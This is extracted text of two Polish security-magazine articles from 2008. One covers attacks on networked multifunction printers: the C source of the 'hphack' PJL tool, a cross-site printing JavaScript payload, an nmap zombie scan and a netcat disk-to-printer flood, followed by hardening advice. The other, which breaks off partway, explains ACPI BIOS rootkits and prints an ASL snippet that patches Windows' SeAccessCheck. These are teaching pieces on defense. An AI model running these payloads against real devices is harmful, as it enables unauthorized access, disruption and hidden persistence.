
ATAK

6/2008

C

ała gama produktów określana mianem
drukarek wielofunkcyjnych (ang. MFP
– Multi Function Printer
) dostępna na

rynku pozwala na dopasowanie modelu do
swoich potrzeb i korzystanie z niego w sieci,
ponieważ większość urządzeń zaopatrzona jest
we wbudowany serwer wydruku (ang. printserver).
Wygoda korzystania z tego rodzaju urządzeń
jest bardzo duża – sprzęt, oprócz samej funkcji
drukowania, która stanowi funkcjonalność bazową,
potrafi nierzadko kopiować, skanować oraz
wysyłać faksy.

Czy istnieje ryzyko ataku skierowanego

bezpośrednio w urządzenia MFP? Czy można
takie urządzenia wykorzystać do ataku na inny
system? Czy urządzenie MFP może być celem
ataku spamera? Odpowiedzi na te i, być może,
inne pytania postaram się zawrzeć w tym artykule.

Usługi pracujące w MFP

Zadziwiające jest, jak wiele usług działa w tak
prostych z pozoru urządzeniach, jak drukarki MFP.
Ilość i rodzaj usług jest oczywiście zależna od
producenta sprzętu, ale także od zadań do jakich
jest przeznaczony.

Z ważniejszych usług pracujących w tych

urządzeniach należy wymienić: FTP (File Transfer
Protocol
), HTTP (HyperText Transfer Protocol),
HTTPS (HyperText Transfer Protocol Secure),
SNMP (Simple Network Management Protocol),
Telnet – jako usługi pozwalające na konfigurację,
zarządzanie oraz kontrolę pracy sprzętu.

GRZEGORZ BŁOŃSKI

Z ARTYKUŁU

DOWIESZ SIĘ

co to jest urządzenie MFP,

jak minimalizować ryzyko

wycieku danych z MFP,

jak ochronić drukarki przed

atakiem XSP.

CO POWINIENEŚ

WIEDZIEĆ

znać podstawy Linuksa,

umieć kompilować programy,

znać skaner portów NMAP.

Usługi LPD (Line Printer Daemon), IPP (Internet
Printer Protocol
) oraz JetDirect umożliwiają zaś
drukowanie oraz zarządzanie wydrukami. Usługi
takie, jak HTTP, FTP czy Telnet pracują w tego typu
urządzeniach na standardowych portach.

Portem skojarzonym z usługą JetDirect

– obecnie najbardziej popularną i najczęściej
wykorzystywaną w drukarkach sieciowych – jest
port tcp 9100.

To na tym właśnie porcie komunikują się z

drukarką komputery wysyłające wydruki drogą
sieciową. Port tcp 9100 w urządzeniach MFP traktuje
wszystkie odebrane dane jako zadanie do wydruku.
Co więc się stanie, jeśli wykorzystując usługę Telnet
połączymy się z drukarką na porcie 9100?

Jak można zauważyć na Rysunku 1, wykonałem

połączenie oraz wpisałem kilka słów. Po zakończeniu
połączenia tekst, który wpisałem, został przez
drukarkę wydrukowany – co pokazuje Rysunek 2.

Takie zachowanie drukarki – drukowanie

wszystkiego, co jest wysyłane na jej port 9100
– wydaje się być naturalne, lecz czy na pewno jest
to rozwiązanie nie zwiększające ryzyka ataku, na
przykład SPAMu?

Kompromitacja drukarki czy żart?

Kolejna kwestia, która może rozbawić, ale
może także spowodować nieoczekiwane skutki
– to podatność niektórych urządzeń MFP na
zmiany w ich oprogramowaniu wewnętrznym
bez specjalnej autoryzacji, zdalnie. Sprzęt
wyposażony w wyświetlacze LCD, pokazujące

Stopień trudności

Zagrożenia

drukarek

Dzisiejsze wielofunkcyjne drukarki sieciowe to prawdziwe

kombajny. Potrafią robić naprawdę wiele rzeczy. Czy – używając

drukarki wielofunkcyjnej w swojej sieci – jesteś pewny, że nie

zwiększasz ryzyka wycieku danych lub potencjalnego ataku na

Twoją sieć?

background image

35

HAKIN9

ZAGROŻENIA DRUKAREK

6/2008

stan urządzenia w danym momencie,
komunikaty oraz informacje o błędach,
może zostać skompromitowany w bardzo
prosty sposób.

Po wydaniu poleceń przedstawionych

poniżej, na ekranie LCD drukarki zamiast
komunikatu READY pojawi się INSERT
COIN (wrzuć monetę). (Listing 2.)

Taki komunikat może zostać

potraktowany jako żart, ale czy zdarzenie
takie nie powinno zostać potraktowane jako
przypadek nieautoryzowanego dostępu
do sprzętu, co może rodzić dość poważne
zagrożenia bezpieczeństwa? Przecież
można napis pojawiający się na drukarce,
informujący o wyczerpaniu tonera, zmienić
na READY – wówczas użytkownicy chcący
dokonać wydruku będą widzieli, że drukarka
jest gotowa do pracy, jednak ich wydruki
nie będą przez nią akceptowane. Taka
sytuacja na pewno może spowodować
zamieszanie i utrudnienia w pracy, co może
również być zamierzonym działaniem
potencjalnego atakującego.

Ktoś powie ale przecież urządzenia

takie mają możliwość definiowania haseł
dostępu
. Ma rację, ale co z tego – skoro
większość sprzętu zostaje podłączona,
skonfigurowana do wygodnej pracy i już nikt
się nim nie interesuje, chyba że zabraknie
papieru w zasobniku, tonera czy tuszu. Hasło
nie zostaje zdefiniowane, bo przecież uleci z
pamięci ludzkiej i wtedy tylko będzie kłopot.

Niewielu administratorów sieci zdaje

sobie sprawę z tego, że urządzenia MFP
nie zabezpieczone we właściwy sposób są
łatwym celem ataku, a mogą także zostać
wykorzystane do ataku na inne komputery
w sieci. Teraz przedstawię program
przeznaczony dla systemów uniksowych,
który potrafi wysyłać do drukarki ciąg znaków,
które zostają wyświetlone na jej wyświetlaczu.
Tak naprawdę program robi dokładnie to, co
wcześniej opisane polecenie.

Program (patrz Listing 1) jest dość leciwy,

jednak nadal można spotkać drukarki, które
daje się przy jego pomocy zmodyfikować.
Jak widać, program wcale nie jest bardzo
skomplikowany. Niestety, próba jego
kompilacji w takiej postaci może się nie udać
w zależności od systemu, na jakim będziemy
to robić. W przypadku systemów CentOS
oraz Mandriva, na których kompilowałem ten

Listing 1.

Źródło programu „hphack”

/*
HP Printer Hack
12/8/97 sili@l0pht.com
Compile with -lsocket -lnsl on solaris.
Should compile fine on *BSD & linux.
*/

#

include

<

sys/types.h

>

#

include

<

sys/socket.h

>

#

include

<

netdb.h

>

#

include

<

netinet/in.h

>

#

include

<

stdio.h

>

#define PORT 9100

int

main

(

int

argc,

char

*argv

[])

{

int

sockfd,len,bytes_sent;

/* Sock FD */

struct hostent *host;

/* info from gethostbyname */

struct sockaddr_in dest_addr;

/* Host Address */

char

line

[

100

]

;


if

(

argc !=3

)

{

printf

(

"HP Display Hack

\n

--sili

@l0pht

.com 12/8/97

\n\n

%s

printer

\"

message

\"\

n

"

,argv

[

0

])

;

printf

(

"

\t

Message can be up to 16 characters long (44 on 5si's)

\n

"

)

;

exit

(

1

)

;

}

if

(

(

host=gethostbyname

(

argv

[

1

]))

== NULL

)

{

perror

(

"gethostbyname"

)

;

exit

(

1

)

;

}

printf

(

"HP Display hack -- sili

@l0pht

.com

\n

"

)

;

printf

(

"Hostname:

%s

\n

"

, argv

[

1

])

;

printf

(

"Message:

%s

\n

"

,argv

[

2

])

;

/* Prepare dest_addr */

dest_addr.sin_family= host-

>

h_addrtype;

/* AF_INET from gethostbyname */

dest_addr.sin_port= htons

(

PORT

)

;

/* PORT defined above */

/* Prepare dest_addr */

bcopy

(

host-

>

h_addr,

(

char

*

)

&dest_addr.sin_addr, host-

>

h_length

)

;

bzero

(

&

(

dest_addr.sin_zero

)

, 8

)

;

/* Take care of sin_zero ??? */

/* Get socket */

/* printf ("Grabbing socket....\n"); */

if

((

sockfd=socket

(

AF_INET,SOCK_STREAM,0

))

<

0

)

{

perror

(

"socket"

)

;

exit

(

1

)

;

}

/* Connect !*/

printf

(

"Connecting....

\n

"

)

;

if

(

connect

(

sockfd,

(

struct sockaddr *

)

&dest_addr,

sizeof

(

dest_addr

))

== -1

){

perror

(

"connect"

)

;

exit

(

1

)

;

}

/* Preparing JPL Command */

strcpy

(

line,

"

\0

33

%-

12345X

@PJL

RDYMSG DISPLAY =

\"

"

)

;

strncat

(

line,argv

[

2

]

,44

)

;

strcat

(

line,

"

\"\r\n\0

33

%-

12345X

\r\n

"

)

;

/* Sending data! */

/* printf ("Sending Data...%d\n",strlen(line));*/
/* printf ("Line: %s\n",line); */

bytes_sent=send

(

sockfd,line,

strlen

(

line

)

,0

)

;

printf

(

"Sent

%d

bytes

\n

"

,bytes_sent

)

;

close

(

sockfd

)

;

}

Rysunek 1.

Wydruk przy użyciu usługi telnet

background image

ATAK

36

HAKIN9 6/2008

37

HAKIN9

6/2008

ZAGROŻENIA DRUKAREK

program, koniecznym było dodanie dwóch
plików nagłówkowych stdlib.h oraz string.h
w pierwszych liniach źródła programu. Po
dodaniu tych plików kompilacja przebiega
bez błędów oraz ostrzeżeń i program pracuje
poprawnie.

Drukarka MFP jako zombie

Bardzo ciekawym, a jednocześnie
niebezpiecznym sposobem wykorzystania
urządzeń MFP jest ich zaprzęgnięcie do roli
komputera zombie podczas wykonywania
na przykład skanowania portów na
komputerze, który jest celem ataku. Komputer
zombie pozwala na ukrycie faktycznego
źródła takiego skanowania, co pozwala na
utrudnianie wykrycia sprawcy ataku.

Wykorzystując znany skaner portów

NMAP możemy wykorzystać drukarkę
MFP w taki sposób, że komputer docelowy
będzie w stanie w swoich logach
znaleźć tylko adres IP drukarki jako
źródło skanowania. W takim przypadku,
w razie wykrycia przez administratora
próby skanowania portów na serwerze,
całe podejrzenie padnie na adres
IP drukarki, co znacznie skomplikuje
odnalezienie faktycznego źródła ataku. Po
szczegóły dotyczące techniki Idle Scan
z wykorzystaniem komputera zombie
odsyłam do dokumentacji programu NMAP.
Po wykonaniu polecenia:

nmap -P0 -sI adres_drukarki_MFP adres_

docelowy

na ekranie ujrzymy to, co widać na Rysunku
3, czyli informacje o otwartych portach
oraz o tych, które są filtrowane.

Spamowanie drukarki

Cross-Site Printing (Printer Spamming,
XSP) to określenie nowego exploita
pozwalającego na zaatakowanie
drukarki przy użyciu JavaScript. W
dokumencie autorstwa Aarona Weavera
możemy przeczytać, jak można w prosty
sposób wykonać atak za pomocą
nieskomplikowanych skryptów.

Poniższy skrypt pozwala wysłać

do drukarki dowolny tekst, który w tym
przypadku jest zdaniem: Twoja drukarka
jest teraz moja!
(Listing 3.)

Efektem działania takiego skryptu

będzie zdanie Twoja drukarka jest teraz
moja!
, wydrukowane czcionką kroju Courier
o rozmiarze 20dpi.

Wykorzystanie tego typu skryptów jest

o tyle niebezpieczne, że nie ogranicza się
tylko do sieci LAN. W przypadku XSP atak

może zostać przeprowadzony na drukarkę w
każdym miejscu. Odpowiednio spreparowana
strona w Internecie, odwiedzana przez
niczego nie podejrzewające osoby może być
uzbrojona w tego rodzaju skrypt, który może
spowodować zalewanie wydrukami obecnej
w sieci lokalnej i podatnej na tego typu ataki
drukarki.

Więcej ciekawych skryptów można

znaleźć w dokumencie CrossSitePrinting.pdf
(link w ramce W Sieci). Przy tej okazji
warto wspomnieć o możliwości zalewania
(ang. flooding) drukarki wydrukami w celu
jej sparaliżowania – co również nie jest
czymś pożądanym. Fakt, że tego typu atak
możliwy jest jedynie z obszaru sieci LAN,
w której drukarka się znajduje, nie oznacza,
że należy go całkowicie ignorować. Ataki
tego typu można określić także mianem
Denial of Service, ponieważ drukarka
zasypana ogromną ilością wydruków z
jednego adresu IP będzie odmawiała
wydruków innym adresom. Ataku takiego
możemy dokonać na przykład przy użyciu

Rysunek 2.

Tekst wydrukowany przy pomocy usługi telnet

Rysunek 3.

Nmap i drukarka MFP jako zombie

Listing 2.

Skrypt Aarona Weavera

#

$

telnet 192.169.1.2 9100

@PJL

RDYMSG DISPLAY=

"INSERT COIN"

^

]

quit
#

$

Listing 3.

Wysyłka dowolnego tekstu

do drukarki

var

msg

=

String.fromCharCode(

27

) +

"%-

12345X@PJL ENTER
LANGUAGE

=

POSTSCRIPT\r\n”

+

"%!PS\r\n"

+

"/Courier findfont\r\n"

+ "

20

scalefont\r\n

"

+

"setfont\r\n"

+ "

72

500

moveto\r\n

"

+

"(Twoja drukarka jest teraz moja!)

show\r\n"

+

"showpage\r\n"

+ String.fromCharCode(

27

) + "%-12345X

background image

ATAK

36

HAKIN9 6/2008

37

HAKIN9

6/2008

ZAGROŻENIA DRUKAREK

kombinacji poleceń

cat

oraz

netcat

,

którym wskażemy wydrukowanie zawartości
na przykład całego dysku czy partycji. Taka
kombinacja poleceń, jak przedstawiona
poniżej, będzie drukowała zwartość dysku.

cat /dev/hda|netcat -q 0 192.168.1.2

9100

Jak można się domyślić, drukowanie takiej
ilości danych nie dość, że spowoduje
szybkie zużycie tonera i papieru, to zablokuje
możliwość wydruku innym użytkownikom.
Może to negatywnie odbić się na jakości
wykonywanej przez nich pracy, jeśli drukarka
jest intensywnie wykorzystywana przez wielu
użytkowników.

Zapobieganie atakom

Czy są sposoby zapobiegania atakom
na urządzenia MFP pracujące w naszych
sieciach? Oczywiście, że znamy takie
metody, często ignorowane przez
administratorów – pewnych, że przecież

to tylko drukarka, która potrafi czasem
jeszcze skanować i wysyłać faksy.
Podstawową rzeczą, którą należy zrobić, by
zminimalizować możliwość takich ataków,
to zdefiniowanie haseł administracyjnych
– zarówno dla usług typu Telnet, jak i dla
usług zarządzania poprzez interfejs webowy.
Kolejna metoda to wyłączenie w urządzeniu
MFP usług, które nie są wykorzystywane.
Jeśli mamy możliwość zarządzania
drukarką poprzez przeglądarkę przy użyciu
protokołu szyfrowanej transmisji HTTPS,
możemy wyłączyć usługę Telnet, która jest
dość łatwa do podsłuchania.

Inny sposób to wykorzystanie dość

często stosowanych w urządzeniach MFP
opcji, pozwalających na zdefiniowanie klasy
adresów (czy wręcz pojedynczych adresów),
mogących wykonywać wydruki – co dość
mocno ogranicza możliwość dokonania
ataku. Przykładem drukarki wyposażonej
w różne rodzaje zabezpieczeń jest produkt
firmy Ricoh. Sprzęt cechuje możliwość
zdefiniowania grupy użytkowników, którzy
mogą korzystać z drukarki po zalogowaniu
się – definiowane są loginy i hasła dla
każdego użytkownika.

Dodatkowo w urządzeniu można

zdefiniować zakresy adresów IP, z których
drukarka będzie przyjmowała wydruki,
co również znacznie zawęża możliwości
ataku na takie urządzenie. Jednak
większość drukarek dostępnych na rynku,
a wykorzystujących usługę JetDirect, jest
podatna na opisane tutaj działania.

W swoich testach używałem

drukarek z wbudowanym serwerem
wydruku (RICOH Aficio MP 161, HP4050,
OKI C3400), ale także printserwerów
(Edimax PS-3101P, D-link DP-301U, HP
JetDirect 500X) z podłączonymi do nich
drukarkami różnego typu. W każdym
przypadku możliwości złośliwego ataku

są inne i zależą od ilości funkcji, w jakie
urządzenie MFP zostało wyposażone
– oraz oczywiście od tego, w jaki sposób
wykorzystano wbudowane możliwości
jego zabezpieczenia.

Podsumowanie

Bezpieczeństwo urządzeń MFP nie jest
tak oczywiste, jak mogłoby się wydawać.
Procedura instalacji i uruchomienia
urządzenia jest bardzo prosta, co bardzo
często powoduje zaniechanie właściwej
konfiguracji, której celem byłoby takie
zabezpieczenie urządzenia, aby mogła z
niego korzystać tylko ściśle określona grupa
użytkowników. Choć coraz więcej urządzeń
tego typu posiada takie możliwości, są
one wykorzystywane tylko w znikomym
procencie urządzeń.

Artykuł tak naprawdę tylko delikatnie

obrazuje, co można zdziałać w kwestii
urządzeń MFP, jednak faktyczne
możliwości nieautoryzowanego dostępu
do takich urządzeń są o wiele większe.
W wielu firmach urządzenia MFP po
początkowym zainstalowaniu nie są
wcale monitorowane, a jedyne prace,
jakie są przy nich wykonywane – to
doładowanie zasobników z papierem
oraz wymiana tonera czy też tuszu.
W przypadku większej liczy takich
urządzeń monitoring to kwestia bardzo
istotna – jednak najważniejszą rzeczą,
którą administratorzy zajmujący się
takimi urządzeniami powinni zrobić,
to zdefiniowanie haseł dostępu do
opcji administracyjnych – tak, aby
zminimalizować możliwości dostania się
do urządzeń osobom niepowołanym.

Warto także zauważyć, że kwestie

rozwiązań zabezpieczających w
urządzeniach MFP powinny być brane
pod uwagę już podczas planowania
zakupu takiego sprzętu. Pozwoli to na
dobranie urządzenia z pożądanym przez
nas poziomem zabezpieczeń, a także
uniknięcie niepotrzebnych problemów, które
mogą być wynikiem działań podobnych do
opisanych w tym artykule.

Grzegorz Błoński

Autor, Grzegorz Błoński, z wykształcenia jest

informatykiem, certyfikowanym specjalistą IBM. Pracuje

w dużej firmie o zasięgu światowym. Zajmuje się

administracją i bezpieczeństwem sieciowym. Jest

członkiem organizacji International Information Systems

Forensics Association (IISFA), ISACA oraz Internet Society.

Kontakt z autorem: mancymonek@mancymonek.pl

W Sieci:

http://www.phenoelit-us.org/fr/tools.html,
http://www.darkreading.com/

document.asp?doc_id=142862,

http://kovaya.com/miscellany/2007/10/

insert-coin.html,

http://www.news.com/8301-10789_3-

9847334-57.html,

http://www.net-security.org/dl/articles/

CrossSitePrinting.pdf,

http://http://www.irongeek.com.

Rysunek 4.

Autoryzacja w urządzeniu

Aficio MP 161

Rysunek 5.

Kontrola dostępu w urządzeniu

Aficio MP 161

background image

38

HAKIN9

ATAK

6/2008

O

dkąd powstały komputery, zaczęto
sobie zadawać pytanie o ekologię
takiego urządzenia. Także koszty jego

działania odgrywały dużą rolę. W związku z tym
już w 1989 roku firma Intel przedstawiła swoją
pierwszą specyfikację standardu zarządzania
energią. Jednak prawdziwy przełom nastąpił
w 1992 roku, wraz z utworzeniem organizacji
Energy Star i idącego z tym standardu APM (ang.
Advanced Power Management – Zaawansowane
Zarządzanie Energią). Umożliwiał on niższy pobór
mocy przez urządzenia dzięki częściowemu lub
całkowitemu wyłączaniu niektórych z nich wtedy,
kiedy nie były w użyciu.

Standard APM był jednak niedoskonały. Z

założenia był on wbudowany bezpośrednio w
pamięć płyty głównej, więc poprawne zarządzanie
energią oraz bezpieczeństwo były niezależne od
systemu operacyjnego i opierały się na kodzie,
którego działanie było nie do końca sprawdzone
– kodzie, który zawierał liczne błędy. System
operacyjny miał niewielki (jeśli nie zerowy) wpływ
na rozdysponowywanie energii na poszczególne
urządzenia.

Odpowiedzią na niedoskonałości APM

było opublikowanie specyfikacji ACPI (ang.
Advanced Configuration and Power Interface
– Zaawansowany Interfejs Konfiguracji Energii)
w roku 1996. Standard ten poprawił większość
niedoskonałości APM. Najważniejszym
usprawnieniem było przesunięcie wszystkich
funkcji związanych z zarządzaniem energią na

KONRAD ZUWAŁA

Z ARTYKUŁU

DOWIESZ SIĘ

czym jest ACPI,

poznasz zasady działania ACPI,

poznasz podstawy języka

skryptowego ACPI,

jak działa rootkit ukrywany w

BIOSie,

jak bronić się przed tego typu

zagrożeniami.

CO POWINIENEŚ

WIEDZIEĆ

znać podstawy działania

komputera,

czym są przerwania i na jakiej

zasadzie one działają,

czym jest rootkit.

poziom systemu operacyjnego, co poprawiało
bezpieczeństwo i uniezależniało zachowanie ACPI
od konkretnej wersji płyty głównej czy określonego
producenta. Dodatkowo wprowadzono język
maszynowy i skryptowy (AML i ASL), które
umożliwiają definiowanie funkcji przydatnych z
punktu widzenia ACPI. Co więcej, skrypty ACPI
uruchamiane są z uprawnieniami najwyższego
poziomu, mają one więc pełen dostęp do
zasobów komputera, mogą modyfikować pamięć
i w razie potrzeby być wywołane z poziomu
systemu operacyjnego. Jednak ACPI ciągle było
krytykowane za zbyt obszerną, liczącą kilkaset
stron specyfikację oraz za podejście do kwestii
bezpieczeństwa związanych z dostępem ACPI do
zasobów komputera.

Specyfikacja ACPI – jak to działa?

Pierwszą specyfikację standardu ACPI
opublikowano w grudniu 1996 roku. Do dnia
dzisiejszego ulegała ona wielokrotnym zmianom,
obecnie obowiązuje już wersja trzecia tegoż
standardu. Jednak ogólne zasady nie uległy
zmianie i obowiązują ciągle od pierwszych wersji
standardu.

Głównym usprawnieniem w stosunku do APM

było przekazanie zarządzania poborem energii
do systemu operacyjnego. Poprzednio to BIOS
zarządzał całym procesem. Kolejną nowinką
było wprowadzenie zaczerpniętej z komputerów
osobistych technologii, dopuszczającej
przeniesienie komputera w stan bardzo niskiego

Stopień trudności

Rootkity ACPI

Rootkity od zawsze były zmorą administratorów sieci. Jednak

wraz z rozwojem technologii ukrywania złośliwego kodu w

systemie, rozwijały się także narzędzia, które go wykrywały. Przed

ich twórcami stanęło teraz nowe zadanie: rootkity, które ukrywają

się w BIOSie, znane pod nazwą rootkitów ACPI.

background image

39

HAKIN9

ROOTKITY ACPI

6/2008

poboru mocy poprzez odłączenie
napięcia od podstawowych podzespołów
– takich, jak pamięć RAM czy dyski
twarde. Umożliwiono również włączanie
komputera za pomocą klawiszy na
klawiaturze, poprzez specjalny klawisz lub
wpisanie odpowiedniej sekwencji klawiszy,
ustawianej w BIOSie komputera.

ACPI wprowadził tzw. stany działania

komputera. Stany te definiują sposób
poboru mocy przez sprzęt. Dzielą się one
na podstany, coraz to bardziej szczegółowo
określając ilość niezbędnej energii.
Podstawowymi stanami są:

• G0 – pracuje – komputer znajduje się

pod zasilaniem i jest w trakcie pracy,

• G1 – uśpiony – stan hibernacji lub

wstrzymania znany np. z komputerów
przenośnych, dzieli się na kolejne
podstany określające jak bardzo
komputer jest uśpiony i jaki jest jego
aktualny pobór napięcia,

• G2 – stan podobny do G3, gdzie

komputer jest wyłączony – z tą
różnicą, że część komponentów może
znajdować się pod napięciem w
celu umożliwienia np. uruchomienia
komputera za pomocą klawisza
spacji, w stanie tym zasilanie musi być
fizycznie podłączone do komputera,

• G3 – stan wyłączenia, brak zasilania,

stan równoważny fizycznemu
odłączeniu zasilania od komputera.

Z punktu widzenia rootkita najważniejszą
częścią standardu ACPI jest dostępność
języków AML i ASL, które to umożliwiają
modyfikację pamięci komputera
(tablic ACPI), co może prowadzić np.
do nadpisania sterownika urządzenia
sieciowego – tak, aby to wysyłało pakiety
na określony adres MAC/IP (w zależności,
czy działamy w sieci lokalnej, czy w sieci
Internet).

Istotnym elementem ACPI w kontekście

działania rootkita są tak zwane tablice (czy
też tabele) ACPI, które zawierają informacje
o różnych urządzeniach zainstalowanych
w komputerze i sposobie ich obsługi.
Możliwość nadpisania tych tablic pozwala
na zaalokowanie kodu rootkita do
odpowiedniego miejsca w pamięci.

Skoro tablice te są istotnym elementem

wymaganym do poprawnego działania
rootkita, należałoby poznać ich rodzaje

i funkcje. Wyróżniamy ponad 10 typów
takich tabel, począwszy od głównej tablicy
urządzeń, wskaźników, tablic rozszerzonych,
firmware. Więcej na ich temat można
znaleźć pod adresami podanymi w ramce
W Sieci. Dla nas jednak tablice te nie będą
istotne, albowiem użyjemy innej metody
– bezpośrednio nadpiszemy pamięć – tak,
aby uzyskać pełne przywileje dla naszego
backdoora. Zostanie przedstawiona
zarówno technika dla systemu Windows,
korzystająca z funkcji dlań specyficznych,
jak również sposób na umieszczenie
takiego BIOSowego backdoora w systemie
z rodziny GNU/Linux, dzięki czemu
większość stacji serwerowych i desktopów
stanie się podatna na nasz atak.

Założenia rootkita ukrytego

w BIOSie – wady i zalety

Zanim przystąpimy do tworzenia
właściwego rootkita, który następnie
zostanie ukryty w BIOSie, musimy zadać
sobie podstawowe pytanie – dlaczego
wybieramy akurat taką metodę? Przecież
można w o wiele łatwiejszy sposób
przygotować działającego backdoora,
dodatkowo ukryć go w istniejącym
systemie plików systemu operacyjnego i
mieć problem z głowy, nie zawracając jej

sobie niepotrzebnymi trudnościami. Co
więc takiego daje nam rootkit ukryty w
BIOSie?

Cóż, niewątpliwą zaletą takiego

rozwiązania jest jego trwałość. Niezależnie
od warunków, w jakich sprzęt będzie
działał, niezależnie od liczby jego rebootów,
awarii zasilania czy wreszcie nawet
przeinstalowania systemu operacyjnego,
nasz kod ciągle pozostanie w komputerze.
Nie musimy zajmować się więc dodaniem
procedur uruchomieniowych rootkita do
procesów startowych zaatakowanego
systemu operacyjnego, nie musimy
obawiać się jego usunięcia wraz z
pojawieniem się świeżej wersji systemu na
maszynie ofiary (oczywiście, jeśli system
będzie zgodny z tym zainstalowanym
poprzednio – rootkit dla Linuksa nie
zadziała na Windows).

Jedną z największych korzyści jest

trudność wykrycia takiego oprogramowania.
Przecież klasyczne programy antywirusowe
czy wykrywacze rootkitów skanują
tylko system plików i pamięć RAM, nie
sprawdzają jednak BIOSu i jego pamięci
flash. Trudno jest więc pozbyć się takiego
szkodnika, jeśli uda mu się zainfekować
nasz komputer. Jest to już zupełnie inną
kwestią, opisywaną zresztą nieco dalej.

Listing 1.

Prototyp funkcji OperationRegion

OperationRegion(Nazwa, Przestrzeń, Offset, Długość);

Listing 2.

Prototyp funkcji SeAccessCheck

BOOLEAN

SeAccessCheck

(

IN

PSECURITY_DESCRIPTOR

SecurityDescriptor

,

IN

PSECURITY_SUBJECT_CONTEXT

SubjectSecurityContext

,

IN

BOOLEAN

SubjectContextLocked

,

IN

ACCESS_MASK

DesiredAccess

,

IN

ACCESS_MASK

PreviouslyGrantedAccess

,

OUT

P

PRIVILEGE_SET

*

Privileges

OPTIONAL

,

IN

PGENERIC_MAPPING

GenericMapping

,

IN

KPROCESSOR_MODE

AccessMode

,

OUT

PACCESS_MASK

GrantedAccess

,

OUT

PNTSTATUS

AccessStatus

);

Listing 3.

Nadpisanie funkcji systemu Windows, przedstawione przez Johna

Heasmana na konferencji BlackHat

OperationRegion(SEAC, SystemMemory, 0xC04048, 0x1)
Field(SEAC, AnyAcc, NoLock, Preserve)
{
FLD1, 0x8
}
Store(0x0, FLD1)

background image

ATAK

40

HAKIN9 6/2008

41

HAKIN9

6/2008

Nie ma jednak rzeczy idealnych. Mimo

niewątpliwych plusów, rootkity ukrywane
w BIOSie mają pewne zasadnicze wady.
Przede wszystkim nasuwa się pytanie
o możliwość umieszczenia takiego
oprogramowania w BIOSie komputera.
Przecież można zablokować możliwość
flashowania BIOSu, a więc zapisywania
czegokolwiek w jego pamięci flash. Często
jest to blokada sprzętowa, polegająca
na ustawieniu jakiejś zworki na płycie
głównej. Sam BIOS nierzadko pozwala
na regulację uprawnień zapisu w pamięci
flash. Aby operacja umieszczania rootkita
zakończyła się sukcesem, musimy więc
mieć pewność, że uda nam się go
zapisać, że płyta główna jest odpowiednio
skonfigurowana i wreszcie, że sam BIOS
na to pozwala. Nadpisywanie BIOSu też
nie jest operacją prostą, musimy być
bowiem wyposażeni w odpowiednie
oprogramowanie i odrobinę wiedzy o
konkretnym układzie.

Sam fakt stworzenia takiego

oprogramowania nasuwa pewne
trudności. Musimy mieć bowiem
pojęcie o niskopoziomowych funkcjach
ACPI, o działaniu samego BIOSu,
o strukturze pamięci atakowanego

systemu operacyjnego i mechanizmach
zabezpieczających, których on używa.
Wreszcie, musimy mieć pomysł na
wklejenie naszego kodu do systemu – tak,
aby za każdym razem się poprawnie
uruchamiał.

Znając już wady i zalety takiego

rozwiązania, możemy z czystym
sumieniem przystąpić do tworzenia
rootkita – o ile oczywiście uznamy, że
nakład pracy, który należy włożyć w jego
opracowanie będzie odpowiedni do
uzyskanego wyniku.

AML – klucz

do bram systemu

AML, czyli język maszynowy ACPI, jest
językiem programowania w pełnym
tego słowa znaczeniu. Posiada on
konstrukcje logiczne, możliwość kontroli
przepływu danych, implementuje operacje
bitowe, możliwość wykonywania działań
arytmetycznych czy synchronizacji
wykonywanych operacji. Dostępne są
także różne typy danych – zarówno do
odczytu, jak i zapisu. Daje on więc całkiem
spore możliwości potencjalnemu intruzowi,
który chciałby wykorzystać go w celach
innych niż pierwotne przeznaczenie.

Użyjemy w zasadzie tylko jednej funkcji,

którą doskonale opisuje John Heasman w
swojej prezentacji z konferencji BlackHat.
Prototyp funkcji przedstawiono na Listingu 1.

Funkcja ta została zaprojektowania

w celu udostępnienia prostej metody do
tworzenia interfejsów dla urządzeń. Prościej
mówiąc, jest ona niezwykle przydatna,
gdy chcemy w prosty sposób obsłużyć
zachowanie określonego urządzenia,
związane najczęściej z pobieraniem przez
nie mocy. Funkcja ta przyjmuje cztery
parametry:

• Nazwa – ogólna nazwa obszaru w

pamięci, do którego się odwołujemy;
określamy, jakiego urządzenia jest to
pamięć,

• Przestrzeń – przestrzeń w pamięci

Nazwa, której dotyczy nasze odwołanie.
Poprawnymi polami przestrzeni
pamięci operacyjnej (czyli tej, do której
będziemy się odwoływać) są SystemIO,
SystemMemory, CMOS, PCI_Config,
SMBus,

• Offset – jak sama nazwa wskazuje, jest

to przesunięcie względem początku
pamięci,

• Długość – ilość zapisywanych/

czytanych bajtów.

Warto wspomnieć, że funkcja ta może
służyć zarówno do zapisu informacji,
jak i do ich odczytu. Dodatkowo, nazwy i
przestrzenie, zwane zgodnie z nazwą funkcji
regionami, można dzielić na mniejsze
jednostki zwane polami (ang. Field).

Co w praktyce daje nam ta funkcja?

Cóż, dosłownie nieograniczone możliwości
modyfikowania pamięci. Dzieje się tak
dlatego, że sterownik ACPI działa z
nieograniczonymi przywilejami, może
więc modyfikować dowolne miejsce w
pamięci. Oczywiście nie pozostanie to
niezauważone, jednak o tym wspomnimy
w części artykułu poświęconej wykrywaniu
tego typu ataków.

Nasz rootkit wykorzysta jedną z

koncepcji Johna Heasmana z konferencji
BlackHat, gdzie pokazał on, w jaki sposób
możemy utworzyć takiego właśnie
backdoora. Oczywiście jest to tylko
jedna z wielu dostępnych metod, jednak
opisywanie każdej z nich nie miałoby
większego sensu ze względu na dużą
rozległość tematu.

Rysunek 1.

Struktura ACPI na komputerze

��������������������

����������������

�����������

�������������

�������

������

���������

�����������

�������������

������������

������������������

����������

��������������
�������

�������������

���������
�����������

W Sieci:

http://www.acpi.info – strona domowa ACPI,
http://www.blackhat.com/presentations/bh-federal-06/BH-Fed-06-Heasman.pdf –

prezentacja Johna Heasmana na konferencji BlackHat,

http://www.osronline.com/DDKx/kmarch/k110_42wi.htm – opis funkcji SeAccessCheck,
http://pl.wikipedia.org/wiki/ACPI – strona Wikipedii dotycząca ACPI. Godna lektury.

background image

ATAK

40

HAKIN9 6/2008

41

HAKIN9

6/2008

Wiemy już, jak stworzymy rootkita,

pozostaje jeszcze dobór odpowiednich
narzędzi. Niezbędny będzie kompilator
ASL/AML, który można bezpłatnie pobrać
ze stron firmy Microsoft, jak również z
oficjalnej strony opisującej standard
ACPI. Linki te podane są w ramce W
Sieci
. Niezbędny będzie również dobry
asembler i dezasembler. Dlaczego? Otóż,
aby umieścić coś w pamięci flash BIOSu,
musimy go w jakiś sposób nadpisać.
Oznacza to, że należy dołączyć nasz kod
do kodu BIOSu producenta płyty głównej,
